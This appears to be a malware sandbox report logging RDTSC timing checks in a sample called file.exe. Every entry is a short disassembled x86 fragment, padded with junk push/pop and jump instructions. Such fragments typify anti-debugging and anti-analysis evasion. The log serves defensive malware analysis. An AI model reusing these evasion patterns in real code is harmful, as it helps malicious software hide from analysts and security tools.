Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12338ED second address: 1233927 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007FECC5476B28h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 jg 00007FECC5476B26h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f mov di, 53C4h 0x00000023 push 00000000h 0x00000025 mov di, FE00h 0x00000029 push F09757F5h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push ecx 0x00000032 pop ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233927 second address: 123392C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123392C second address: 123399B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 0F68A88Bh 0x00000010 mov edx, dword ptr [ebp+122D291Ch] 0x00000016 push 00000003h 0x00000018 mov dword ptr [ebp+122D1DF4h], ecx 0x0000001e push 00000000h 0x00000020 push 00000003h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007FECC5476B28h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000014h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c or edi, 2961F009h 0x00000042 call 00007FECC5476B29h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a jmp 00007FECC5476B2Dh 0x0000004f push edi 0x00000050 pop edi 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123399B second address: 12339A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12339A1 second address: 12339A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12339A5 second address: 12339C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jg 00007FECC5126356h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12339C8 second address: 12339F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FECC5476B35h 0x00000012 jns 00007FECC5476B26h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12339F1 second address: 1233A12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126360h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007FECC5126356h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233BC5 second address: 1233BCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233BCA second address: 1233C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126362h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jmp 00007FECC5126369h 0x00000014 pop edi 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C05 second address: 1233C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jns 00007FECC5476B32h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007FECC5476B26h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C2D second address: 1233C37 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C37 second address: 1233C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC5476B2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245768 second address: 1245771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245771 second address: 1245775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12522C7 second address: 1252302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126369h 0x00000009 pop ecx 0x0000000a push edi 0x0000000b jmp 00007FECC5126363h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FECC5126356h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252302 second address: 1252306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252306 second address: 125230F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252702 second address: 125270E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FECC5476B26h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125270E second address: 125271F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push edi 0x00000009 jp 00007FECC5126356h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252B26 second address: 1252B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FECC5476B26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252B31 second address: 1252B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC512635Fh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252F3D second address: 1252F59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252F59 second address: 1252F72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FECC5126356h 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FECC512635Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253244 second address: 1253248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B51A second address: 124B51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B386 second address: 121B38C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B38C second address: 121B3BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FECC512636Ch 0x0000000e jmp 00007FECC5126360h 0x00000013 ja 00007FECC5126356h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ecx 0x0000001c js 00007FECC512635Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253C00 second address: 1253C05 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253ECE second address: 1253EDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FECC5126356h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253EDA second address: 1253EE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12562E5 second address: 1256318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jmp 00007FECC5126366h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FECC5126360h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258803 second address: 125880D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FECC5476B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125880D second address: 1258811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257917 second address: 125791B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258A54 second address: 1258A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258A58 second address: 1258A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262444 second address: 126244A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126244A second address: 12624D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jmp 00007FECC5476B2Fh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 je 00007FECC5476B2Eh 0x00000016 jg 00007FECC5476B28h 0x0000001c mov eax, dword ptr [eax] 0x0000001e jp 00007FECC5476B3Fh 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push edi 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c jp 00007FECC5476B26h 0x00000032 popad 0x00000033 pop edi 0x00000034 pop eax 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007FECC5476B28h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f jo 00007FECC5476B29h 0x00000055 movzx esi, cx 0x00000058 push EA8CB3D1h 0x0000005d push ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12624D6 second address: 12624DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126280D second address: 1262817 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12628F8 second address: 1262902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126331E second address: 1263322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263322 second address: 1263326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126351B second address: 126351F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126351F second address: 1263529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126373F second address: 1263744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263744 second address: 1263777 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FECC512635Dh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FECC512636Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12645FE second address: 1264603 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264E9B second address: 1264EA5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264EA5 second address: 1264EAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264EAB second address: 1264EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126883B second address: 126884F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d jng 00007FECC5476B26h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126884F second address: 1268855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268855 second address: 126887E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FECC5476B26h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FECC5476B38h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A53B second address: 122A541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A541 second address: 122A547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A547 second address: 122A54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A54B second address: 122A55C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E8F second address: 1268EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007FECC512636Bh 0x0000000e jne 00007FECC5126365h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FECC5126358h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f push 00000000h 0x00000031 clc 0x00000032 mov esi, dword ptr [ebp+122D1D20h] 0x00000038 push 00000000h 0x0000003a jmp 00007FECC5126366h 0x0000003f movsx edi, di 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push esi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268EF9 second address: 1268EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269913 second address: 1269918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BD5D second address: 126BD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C1F2 second address: 126C219 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECC512636Eh 0x00000008 jmp 00007FECC5126368h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C219 second address: 126C267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 nop 0x00000007 add edi, dword ptr [ebp+122D29DCh] 0x0000000d push 00000000h 0x0000000f and edi, dword ptr [ebp+122D2AA4h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FECC5476B28h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 and ebx, 4AF93433h 0x00000037 mov dword ptr [ebp+122D183Ch], eax 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push esi 0x00000041 pushad 0x00000042 popad 0x00000043 pop esi 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E2E5 second address: 126E30E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FECC5126366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FECC512635Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F57C second address: 126F581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270667 second address: 1270680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC5126365h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F581 second address: 126F5BA instructions: 0x00000000 rdtsc 0x00000002 je 00007FECC5476B3Fh 0x00000008 jmp 00007FECC5476B39h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jp 00007FECC5476B2Ch 0x00000017 jns 00007FECC5476B2Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12744A8 second address: 12744AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12744AE second address: 12744B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12744B4 second address: 12744B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12744B8 second address: 1274533 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b je 00007FECC5476B26h 0x00000011 jmp 00007FECC5476B37h 0x00000016 popad 0x00000017 ja 00007FECC5476B2Ch 0x0000001d popad 0x0000001e nop 0x0000001f mov dword ptr [ebp+1245F9CEh], edx 0x00000025 stc 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007FECC5476B28h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 jnp 00007FECC5476B26h 0x00000048 push 00000000h 0x0000004a mov bh, CEh 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 ja 00007FECC5476B26h 0x00000056 jnp 00007FECC5476B26h 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1274533 second address: 1274539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12764A7 second address: 12764B1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FECC5476B2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12775C0 second address: 1277616 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d cmc 0x0000000e mov bl, F8h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FECC5126358h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c jmp 00007FECC512635Eh 0x00000031 push 00000000h 0x00000033 mov di, 08E8h 0x00000037 push eax 0x00000038 push ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277616 second address: 127761A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127761A second address: 127761E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278657 second address: 127865C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127865C second address: 1278661 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278661 second address: 12786FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D3058h], eax 0x00000010 mov di, B8A4h 0x00000014 push 00000000h 0x00000016 jmp 00007FECC5476B37h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FECC5476B28h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 jng 00007FECC5476B42h 0x0000003d call 00007FECC5476B35h 0x00000042 sub dword ptr [ebp+124586DBh], esi 0x00000048 pop edi 0x00000049 xchg eax, esi 0x0000004a jmp 00007FECC5476B2Ch 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FECC5476B37h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12766AC second address: 12766CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jnp 00007FECC512635Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127774C second address: 127775A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
